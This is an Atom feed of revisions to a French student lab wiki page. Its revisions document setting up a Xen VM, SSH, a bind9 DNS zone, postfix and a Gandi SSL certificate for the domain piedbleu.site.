Ensuite, on monte la clé USB, et on la peuple : &lt;br /&gt;
&lt;br /&gt;
 $ mkdir /mnt/USB &lt;br /&gt;
 $ mount -t ext4 /dev/mapper/myusbkey /mnt/USB&lt;br /&gt;
 $ touch /mnt/USB/mytestfile.txt&lt;br /&gt;
&lt;br /&gt;
Une fois que l'on a fini, on démonte le système de fichier proprement : &lt;br /&gt;
&lt;br /&gt;
 $ umount /mnt/USB&lt;br /&gt;
 $ cryptsetup luksClose myusbkey&lt;br /&gt;
&lt;br /&gt;
== 6.4  Sécurisation WiFi par WPA2-EAP ==&lt;/div&gt;</summary>
		<author><name>Jsoulaim</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G8&amp;diff=54217</id>
		<title>TP sysres IMA5sc 2020/2021 G8</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G8&amp;diff=54217"/>
				<updated>2020-12-01T21:06:20Z</updated>
		
		<summary type="html">&lt;p&gt;Jsoulaim : Annulation des modifications 54216 de Jsoulaim (discussion)&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=4. Services Internet=&lt;br /&gt;
==4.0 Accès à Internet==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on configure le fichier /etc/network/interfaces : &lt;br /&gt;
&lt;br /&gt;
 # The loopback network interface&lt;br /&gt;
 auto lo&lt;br /&gt;
 iface lo inet loopback&lt;br /&gt;
 # The primary network interface&lt;br /&gt;
 auto eth0&lt;br /&gt;
 iface eth0 inet static&lt;br /&gt;
  address 193.48.57.181&lt;br /&gt;
  netmask 255.255.255.255&lt;br /&gt;
  up ip address add dev eth0 100.64.0.21/24 &lt;br /&gt;
  up ip route add default via 100.64.0.2 src 193.48.57.181&lt;br /&gt;
  down ip address del dev eth0 100.64.0.21/24 &lt;br /&gt;
  down ip route del default via 100.64.0.2 src 193.48.57.181&lt;br /&gt;
 iface eth0 inet6 auto&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite, ssh sur la zabeth09, puis minicom : &lt;br /&gt;
&lt;br /&gt;
 enable&lt;br /&gt;
 conf t&lt;br /&gt;
 ip route 193.48.57.181 255.255.255.255 100.64.0.21&lt;br /&gt;
 exit&lt;br /&gt;
 write&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On fait un ping pour tester : &lt;br /&gt;
&lt;br /&gt;
 $  ping google.fr&lt;br /&gt;
&lt;br /&gt;
==4.1  Serveur SSH==&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config.&lt;br /&gt;
Ensuite on active le serveur ssh : &lt;br /&gt;
&lt;br /&gt;
 $ service ssh start&lt;br /&gt;
&lt;br /&gt;
Puis sur un autre terminal, on fait un : &lt;br /&gt;
&lt;br /&gt;
 $ ssh root@193.48.57.181&lt;br /&gt;
&lt;br /&gt;
==4.2  Serveur DNS==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous allons sur Gandi et nous paramétrons notre nom de domaine piedbleu.site de la façon suivante : &lt;br /&gt;
&lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Glue Records&lt;br /&gt;
       ns1.piedbleu.site&lt;br /&gt;
       193.48.57.181&lt;br /&gt;
&lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Serveurs de noms &amp;gt; Externe (au lieu de live Gandi DNS)&lt;br /&gt;
       1er  : ns1.piedbleu.site&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré noter nom de domaine, nous configurons notre serveur DNS sur notre VM.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par installer le paquet bind:&lt;br /&gt;
&lt;br /&gt;
 apt install bind9&lt;br /&gt;
&lt;br /&gt;
Bind9 est notre serveur DNS que nous allons configurer. Cela se déroule en plusieurs étapes:&lt;br /&gt;
&lt;br /&gt;
1ère étape: &lt;br /&gt;
&lt;br /&gt;
Nous commençons par changer le nom du serveur dans le fichier /etc/resolv.conf&lt;br /&gt;
&lt;br /&gt;
 name serveur 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
L'adresse 127.0.0.1 spécifie que notre DNS correspond à notre machine.&lt;br /&gt;
&lt;br /&gt;
2ème étape:&lt;br /&gt;
Dans le fichier /etc/bind/named.conf.local, nous créons une zone &amp;quot;piedbleu.site&amp;quot; qui spécifie que notre DNS ns1.piedbleu.site est notre DNS primaire :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;piedbleu&amp;quot; IN {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.piedbleu.site&amp;quot;;&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La dernière ligne nous permet d'autoriser le transfert des informations du DNS primaire (ns1.piedbleu.site) au DNS secondaire ( ns6.gandi.net, ip:217.70.177.40;).&lt;br /&gt;
&lt;br /&gt;
3ème partie:&lt;br /&gt;
Dans le fichier cat /etc/bind/db.piedbleu.site, nous configurons la zobe &amp;quot;piedbleu.site&amp;quot;:&lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.piedbleu.site. root.piedbleu.site. (&lt;br /&gt;
                               3         ; Serial&lt;br /&gt;
                          604800         ; Refresh&lt;br /&gt;
                            86400         ; Retry&lt;br /&gt;
                         2419200         ; Expire                          &lt;br /&gt;
                          604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.piedbleu.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Nous spécifions ns1.piedbleu.site comme étant notre localhost et root.piedbleu.site comme étant notre root.localhost.&lt;br /&gt;
Nous ajoutons ensuite nos deux NS ( ns1.piedbleu.site et ns6.gandi.net ) ainsi que l'adresse du premier NS : 193.48.57.181.&lt;br /&gt;
&lt;br /&gt;
Pour vérifier que notre configuration est bien réalisée, nous entrons la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 host -t any piedbleu.site&lt;br /&gt;
&lt;br /&gt;
résultat :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:reponse.png | 600px]]&lt;br /&gt;
&lt;br /&gt;
A présent, nous pouvons configurer le serveur de nom secondaire : &lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Serveurs de noms &amp;gt; Externe (au lieu de live Gandi DNS)&lt;br /&gt;
       2ème : ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant configurer le serveur mail de notre VM:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans le fichier cat /etc/bind/db.piedbleu.site, nous rajoutons la ligne suivante:&lt;br /&gt;
&lt;br /&gt;
 @       IN      MX      100 ns1.piedbleu.site.&lt;br /&gt;
&lt;br /&gt;
Nous installons ensuite postfix ( configuration : &amp;quot;Internet Site&amp;quot;, nom du site &amp;quot; piedbleu.site&amp;quot; ).&lt;br /&gt;
&lt;br /&gt;
Nous ajoutons ensuite l'alias dans le fichier /etc/aliases&lt;br /&gt;
&lt;br /&gt;
 admin:root&lt;br /&gt;
&lt;br /&gt;
et nous effectuons la commande : &lt;br /&gt;
&lt;br /&gt;
 newaliases&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant envoyer des mails à l'adresse &amp;quot;admin@piedbleu.site&amp;quot;. Ces mails sont visibles lorsque l'on tape la commande :&lt;br /&gt;
 &lt;br /&gt;
 mailx&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==4.3 Sécurisation de site web par certificat==&lt;br /&gt;
&lt;br /&gt;
Afin de configurer le service http Apache2, nous avons besoin d'une clé asymétrique ainsi que d'un certificat signé par une autorité de certification (CA), qui sera Gandi.&lt;br /&gt;
&lt;br /&gt;
Nous devons pour cela générer une Demande de Signature de Cerificat. Nous utilisons pour cela la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout piedbleu.site.key -out piedbleu.csr&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
- newkey tsa:2048 permet de génerer une requete CSR et une clé privée utilisant le chiffrement RSA sur 2048 bits.&lt;br /&gt;
&lt;br /&gt;
- keyout piedbleu.site.key permet de sauvegarder le fichier de clé privée sous le nom &amp;quot;piedbleu.site.key&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
- -out piedbleu.csr permet de sauvegarder le fichier CSR sous le nom &amp;quot;piedbleu.csr&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
À la suite de cette commande, nous entrons nos données d'identifications. Nous ferons attention à bien entrer le nom de domaine &amp;quot;piedbleu.site&amp;quot; pour le Common Name.&lt;br /&gt;
&lt;br /&gt;
Nous obtenons deux fichiers: un fichier de clé privée .key ainsi qu'un fichier de CSR .csr&lt;br /&gt;
&lt;br /&gt;
Nous copions ensuite le contenu du fichier .csr sur Gandi&lt;/div&gt;</summary>
		<author><name>Jsoulaim</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G8&amp;diff=54216</id>
		<title>TP sysres IMA5sc 2020/2021 G8</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G8&amp;diff=54216"/>
				<updated>2020-12-01T21:00:59Z</updated>
		
		<summary type="html">&lt;p&gt;Jsoulaim : /* 4.3 Sécurisation de site web par certificat */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=4. Services Internet=&lt;br /&gt;
==4.0 Accès à Internet==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on configure le fichier /etc/network/interfaces : &lt;br /&gt;
&lt;br /&gt;
 # The loopback network interface&lt;br /&gt;
 auto lo&lt;br /&gt;
 iface lo inet loopback&lt;br /&gt;
 # The primary network interface&lt;br /&gt;
 auto eth0&lt;br /&gt;
 iface eth0 inet static&lt;br /&gt;
  address 193.48.57.181&lt;br /&gt;
  netmask 255.255.255.255&lt;br /&gt;
  up ip address add dev eth0 100.64.0.21/24 &lt;br /&gt;
  up ip route add default via 100.64.0.2 src 193.48.57.181&lt;br /&gt;
  down ip address del dev eth0 100.64.0.21/24 &lt;br /&gt;
  down ip route del default via 100.64.0.2 src 193.48.57.181&lt;br /&gt;
 iface eth0 inet6 auto&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite, ssh sur la zabeth09, puis minicom : &lt;br /&gt;
&lt;br /&gt;
 enable&lt;br /&gt;
 conf t&lt;br /&gt;
 ip route 193.48.57.181 255.255.255.255 100.64.0.21&lt;br /&gt;
 exit&lt;br /&gt;
 write&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On fait un ping pour tester : &lt;br /&gt;
&lt;br /&gt;
 $  ping google.fr&lt;br /&gt;
&lt;br /&gt;
==4.1  Serveur SSH==&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config.&lt;br /&gt;
Ensuite on active le serveur ssh : &lt;br /&gt;
&lt;br /&gt;
 $ service ssh start&lt;br /&gt;
&lt;br /&gt;
Puis sur un autre terminal, on fait un : &lt;br /&gt;
&lt;br /&gt;
 $ ssh root@193.48.57.181&lt;br /&gt;
&lt;br /&gt;
==4.2  Serveur DNS==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous allons sur Gandi et nous paramétrons notre nom de domaine piedbleu.site de la façon suivante : &lt;br /&gt;
&lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Glue Records&lt;br /&gt;
       ns1.piedbleu.site&lt;br /&gt;
       193.48.57.181&lt;br /&gt;
&lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Serveurs de noms &amp;gt; Externe (au lieu de live Gandi DNS)&lt;br /&gt;
       1er  : ns1.piedbleu.site&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré noter nom de domaine, nous configurons notre serveur DNS sur notre VM.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par installer le paquet bind:&lt;br /&gt;
&lt;br /&gt;
 apt install bind9&lt;br /&gt;
&lt;br /&gt;
Bind9 est notre serveur DNS que nous allons configurer. Cela se déroule en plusieurs étapes:&lt;br /&gt;
&lt;br /&gt;
1ère étape: &lt;br /&gt;
&lt;br /&gt;
Nous commençons par changer le nom du serveur dans le fichier /etc/resolv.conf&lt;br /&gt;
&lt;br /&gt;
 name serveur 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
L'adresse 127.0.0.1 spécifie que notre DNS correspond à notre machine.&lt;br /&gt;
&lt;br /&gt;
2ème étape:&lt;br /&gt;
Dans le fichier /etc/bind/named.conf.local, nous créons une zone &amp;quot;piedbleu.site&amp;quot; qui spécifie que notre DNS ns1.piedbleu.site est notre DNS primaire :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;piedbleu&amp;quot; IN {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.piedbleu.site&amp;quot;;&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La dernière ligne nous permet d'autoriser le transfert des informations du DNS primaire (ns1.piedbleu.site) au DNS secondaire ( ns6.gandi.net, ip:217.70.177.40;).&lt;br /&gt;
&lt;br /&gt;
3ème partie:&lt;br /&gt;
Dans le fichier cat /etc/bind/db.piedbleu.site, nous configurons la zobe &amp;quot;piedbleu.site&amp;quot;:&lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.piedbleu.site. root.piedbleu.site. (&lt;br /&gt;
                               3         ; Serial&lt;br /&gt;
                          604800         ; Refresh&lt;br /&gt;
                            86400         ; Retry&lt;br /&gt;
                         2419200         ; Expire                          &lt;br /&gt;
                          604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.piedbleu.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Nous spécifions ns1.piedbleu.site comme étant notre localhost et root.piedbleu.site comme étant notre root.localhost.&lt;br /&gt;
Nous ajoutons ensuite nos deux NS ( ns1.piedbleu.site et ns6.gandi.net ) ainsi que l'adresse du premier NS : 193.48.57.181.&lt;br /&gt;
&lt;br /&gt;
Pour vérifier que notre configuration est bien réalisée, nous entrons la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 host -t any piedbleu.site&lt;br /&gt;
&lt;br /&gt;
résultat :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:reponse.png | 600px]]&lt;br /&gt;
&lt;br /&gt;
A présent, nous pouvons configurer le serveur de nom secondaire : &lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Serveurs de noms &amp;gt; Externe (au lieu de live Gandi DNS)&lt;br /&gt;
       2ème : ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant configurer le serveur mail de notre VM:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans le fichier cat /etc/bind/db.piedbleu.site, nous rajoutons la ligne suivante:&lt;br /&gt;
&lt;br /&gt;
 @       IN      MX      100 ns1.piedbleu.site.&lt;br /&gt;
&lt;br /&gt;
Nous installons ensuite postfix ( configuration : &amp;quot;Internet Site&amp;quot;, nom du site &amp;quot; piedbleu.site&amp;quot; ).&lt;br /&gt;
&lt;br /&gt;
Nous ajoutons ensuite l'alias dans le fichier /etc/aliases&lt;br /&gt;
&lt;br /&gt;
 admin:root&lt;br /&gt;
&lt;br /&gt;
et nous effectuons la commande : &lt;br /&gt;
&lt;br /&gt;
 newaliases&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant envoyer des mails à l'adresse &amp;quot;admin@piedbleu.site&amp;quot;. Ces mails sont visibles lorsque l'on tape la commande :&lt;br /&gt;
 &lt;br /&gt;
 mailx&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==4.3 Sécurisation de site web par certificat==&lt;br /&gt;
&lt;br /&gt;
Afin de configurer le service http Apache2, nous avons besoin d'une clé asymétrique ainsi que d'un certificat signé par une autorité de certification (CA), qui sera Gandi.&lt;br /&gt;
&lt;br /&gt;
Nous devons pour cela générer une Demande de Signature de Cerificat. Nous utilisons pour cela la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout piedbleu.site.key -out piedbleu.csr&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
- newkey tsa:2048 permet de génerer une requete CSR et une clé privée utilisant le chiffrement RSA sur 2048 bits.&lt;br /&gt;
&lt;br /&gt;
- keyout piedbleu.site.key permet de sauvegarder le fichier de clé privée sous le nom &amp;quot;piedbleu.site.key&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
- -out piedbleu.csr permet de sauvegarder le fichier CSR sous le nom &amp;quot;piedbleu.csr&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
À la suite de cette commande, nous entrons nos données d'identifications. Nous ferons attention à bien entrer le nom de domaine &amp;quot;piedbleu.site&amp;quot; pour le Common Name.&lt;br /&gt;
&lt;br /&gt;
Nous obtenons deux fichiers: un fichier de clé privée .key ainsi qu'un fichier de CSR .csr&lt;br /&gt;
&lt;br /&gt;
Nous copions ensuite le contenu du fichier .csr sur Gandi. Nous allons pour cela copier son contenu sur l'interface de Gandi lors de la procédure d'achat de certificat.&lt;br /&gt;
&lt;br /&gt;
On reçoit alors un mail de vérification de la part de Gandi avec un lien et un mot de passe de vérification. Après avoir rentrer le mot de passe dans la zone appropriée, nous avons pu récurer sur Gandi notre certificat ainsi qu'un certificat intermédiaires. Nous téléchargeons et plaçons ces certificats dans un répertoire spécifique:&lt;br /&gt;
&lt;br /&gt;
 /etc/ssl/piedbleu.site.crt&lt;br /&gt;
 /etc/ssl/GandiStandardSSLCA2.pem&lt;br /&gt;
&lt;br /&gt;
Nous copions aussi notre clé privée dans ce repertoire:&lt;br /&gt;
&lt;br /&gt;
 /etc/ssl/piedbleu.site.key&lt;/div&gt;</summary>
		<author><name>Jsoulaim</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G8&amp;diff=54215</id>
		<title>TP sysres IMA5sc 2020/2021 G8</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G8&amp;diff=54215"/>
				<updated>2020-12-01T19:40:00Z</updated>
		
		<summary type="html">&lt;p&gt;Jsoulaim : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=4. Services Internet=&lt;br /&gt;
==4.0 Accès à Internet==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on configure le fichier /etc/network/interfaces : &lt;br /&gt;
&lt;br /&gt;
 # The loopback network interface&lt;br /&gt;
 auto lo&lt;br /&gt;
 iface lo inet loopback&lt;br /&gt;
 # The primary network interface&lt;br /&gt;
 auto eth0&lt;br /&gt;
 iface eth0 inet static&lt;br /&gt;
  address 193.48.57.181&lt;br /&gt;
  netmask 255.255.255.255&lt;br /&gt;
  up ip address add dev eth0 100.64.0.21/24 &lt;br /&gt;
  up ip route add default via 100.64.0.2 src 193.48.57.181&lt;br /&gt;
  down ip address del dev eth0 100.64.0.21/24 &lt;br /&gt;
  down ip route del default via 100.64.0.2 src 193.48.57.181&lt;br /&gt;
 iface eth0 inet6 auto&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite, ssh sur la zabeth09, puis minicom : &lt;br /&gt;
&lt;br /&gt;
 enable&lt;br /&gt;
 conf t&lt;br /&gt;
 ip route 193.48.57.181 255.255.255.255 100.64.0.21&lt;br /&gt;
 exit&lt;br /&gt;
 write&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On fait un ping pour tester : &lt;br /&gt;
&lt;br /&gt;
 $  ping google.fr&lt;br /&gt;
&lt;br /&gt;
==4.1  Serveur SSH==&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config.&lt;br /&gt;
Ensuite on active le serveur ssh : &lt;br /&gt;
&lt;br /&gt;
 $ service ssh start&lt;br /&gt;
&lt;br /&gt;
Puis sur un autre terminal, on fait un : &lt;br /&gt;
&lt;br /&gt;
 $ ssh root@193.48.57.181&lt;br /&gt;
&lt;br /&gt;
==4.2  Serveur DNS==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous allons sur Gandi et nous paramétrons notre nom de domaine piedbleu.site de la façon suivante : &lt;br /&gt;
&lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Glue Records&lt;br /&gt;
       ns1.piedbleu.site&lt;br /&gt;
       193.48.57.181&lt;br /&gt;
&lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Serveurs de noms &amp;gt; Externe (au lieu de live Gandi DNS)&lt;br /&gt;
       1er  : ns1.piedbleu.site&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré noter nom de domaine, nous configurons notre serveur DNS sur notre VM.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par installer le paquet bind:&lt;br /&gt;
&lt;br /&gt;
 apt install bind9&lt;br /&gt;
&lt;br /&gt;
Bind9 est notre serveur DNS que nous allons configurer. Cela se déroule en plusieurs étapes:&lt;br /&gt;
&lt;br /&gt;
1ère étape: &lt;br /&gt;
&lt;br /&gt;
Nous commençons par changer le nom du serveur dans le fichier /etc/resolv.conf&lt;br /&gt;
&lt;br /&gt;
 name serveur 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
L'adresse 127.0.0.1 spécifie que notre DNS correspond à notre machine.&lt;br /&gt;
&lt;br /&gt;
2ème étape:&lt;br /&gt;
Dans le fichier /etc/bind/named.conf.local, nous créons une zone &amp;quot;piedbleu.site&amp;quot; qui spécifie que notre DNS ns1.piedbleu.site est notre DNS primaire :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;piedbleu&amp;quot; IN {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.piedbleu.site&amp;quot;;&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La dernière ligne nous permet d'autoriser le transfert des informations du DNS primaire (ns1.piedbleu.site) au DNS secondaire ( ns6.gandi.net, ip:217.70.177.40;).&lt;br /&gt;
&lt;br /&gt;
3ème partie:&lt;br /&gt;
Dans le fichier cat /etc/bind/db.piedbleu.site, nous configurons la zobe &amp;quot;piedbleu.site&amp;quot;:&lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.piedbleu.site. root.piedbleu.site. (&lt;br /&gt;
                               3         ; Serial&lt;br /&gt;
                          604800         ; Refresh&lt;br /&gt;
                            86400         ; Retry&lt;br /&gt;
                         2419200         ; Expire                          &lt;br /&gt;
                          604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.piedbleu.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Nous spécifions ns1.piedbleu.site comme étant notre localhost et root.piedbleu.site comme étant notre root.localhost.&lt;br /&gt;
Nous ajoutons ensuite nos deux NS ( ns1.piedbleu.site et ns6.gandi.net ) ainsi que l'adresse du premier NS : 193.48.57.181.&lt;br /&gt;
&lt;br /&gt;
Pour vérifier que notre configuration est bien réalisée, nous entrons la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 host -t any piedbleu.site&lt;br /&gt;
&lt;br /&gt;
résultat :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:reponse.png | 600px]]&lt;br /&gt;
&lt;br /&gt;
A présent, nous pouvons configurer le serveur de nom secondaire : &lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Serveurs de noms &amp;gt; Externe (au lieu de live Gandi DNS)&lt;br /&gt;
       2ème : ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant configurer le serveur mail de notre VM:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans le fichier cat /etc/bind/db.piedbleu.site, nous rajoutons la ligne suivante:&lt;br /&gt;
&lt;br /&gt;
 @       IN      MX      100 ns1.piedbleu.site.&lt;br /&gt;
&lt;br /&gt;
Nous installons ensuite postfix ( configuration : &amp;quot;Internet Site&amp;quot;, nom du site &amp;quot; piedbleu.site&amp;quot; ).&lt;br /&gt;
&lt;br /&gt;
Nous ajoutons ensuite l'alias dans le fichier /etc/aliases&lt;br /&gt;
&lt;br /&gt;
 admin:root&lt;br /&gt;
&lt;br /&gt;
et nous effectuons la commande : &lt;br /&gt;
&lt;br /&gt;
 newaliases&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant envoyer des mails à l'adresse &amp;quot;admin@piedbleu.site&amp;quot;. Ces mails sont visibles lorsque l'on tape la commande :&lt;br /&gt;
 &lt;br /&gt;
 mailx&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==4.3 Sécurisation de site web par certificat==&lt;br /&gt;
&lt;br /&gt;
Afin de configurer le service http Apache2, nous avons besoin d'une clé asymétrique ainsi que d'un certificat signé par une autorité de certification (CA), qui sera Gandi.&lt;br /&gt;
&lt;br /&gt;
Nous devons pour cela générer une Demande de Signature de Cerificat. Nous utilisons pour cela la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout piedbleu.site.key -out piedbleu.csr&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
- newkey tsa:2048 permet de génerer une requete CSR et une clé privée utilisant le chiffrement RSA sur 2048 bits.&lt;br /&gt;
&lt;br /&gt;
- keyout piedbleu.site.key permet de sauvegarder le fichier de clé privée sous le nom &amp;quot;piedbleu.site.key&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
- -out piedbleu.csr permet de sauvegarder le fichier CSR sous le nom &amp;quot;piedbleu.csr&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
À la suite de cette commande, nous entrons nos données d'identifications. Nous ferons attention à bien entrer le nom de domaine &amp;quot;piedbleu.site&amp;quot; pour le Common Name.&lt;br /&gt;
&lt;br /&gt;
Nous obtenons deux fichiers: un fichier de clé privée .key ainsi qu'un fichier de CSR .csr&lt;br /&gt;
&lt;br /&gt;
Nous copions ensuite le contenu du fichier .csr sur Gandi&lt;/div&gt;</summary>
		<author><name>Jsoulaim</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G8&amp;diff=54083</id>
		<title>TP sysres IMA5sc 2020/2021 G8</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G8&amp;diff=54083"/>
				<updated>2020-11-30T15:08:50Z</updated>
		
		<summary type="html">&lt;p&gt;Jsoulaim : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=2. Installation de la machine virtuelle Xen=&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on fait un SSH sur capbreton.&lt;br /&gt;
&lt;br /&gt;
Puis création de la machine virtuelle :  &lt;br /&gt;
 xen-create-image --hostname=piedbleu --ip=100.64.0.22 --netmask=255.255.255.0 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5 --force&lt;br /&gt;
&lt;br /&gt;
On renomme les LVM avec lv rename : &lt;br /&gt;
&lt;br /&gt;
 lvrename /dev/storage/piedbleu1 /dev/storage/piedbleu-home&lt;br /&gt;
 lvrename /dev/storage/piedbleu2 /dev/storage/piedbleu-var&lt;br /&gt;
&lt;br /&gt;
On obtient (lvdispaly) : &lt;br /&gt;
&lt;br /&gt;
 --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/piedbleu-home&lt;br /&gt;
  LV Name                piedbleu-home&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                UIBfvf-NW8A-iag9-WwcT-HiZu-53UW-u4DRMA&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 16:38:58 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 1&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:12&lt;br /&gt;
   &lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/piedbleu-var&lt;br /&gt;
  LV Name                piedbleu-var&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                yZPi6c-xffl-2PgT-YuXk-DYma-X15f-Uci6C1&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 16:39:03 +0100&lt;br /&gt;
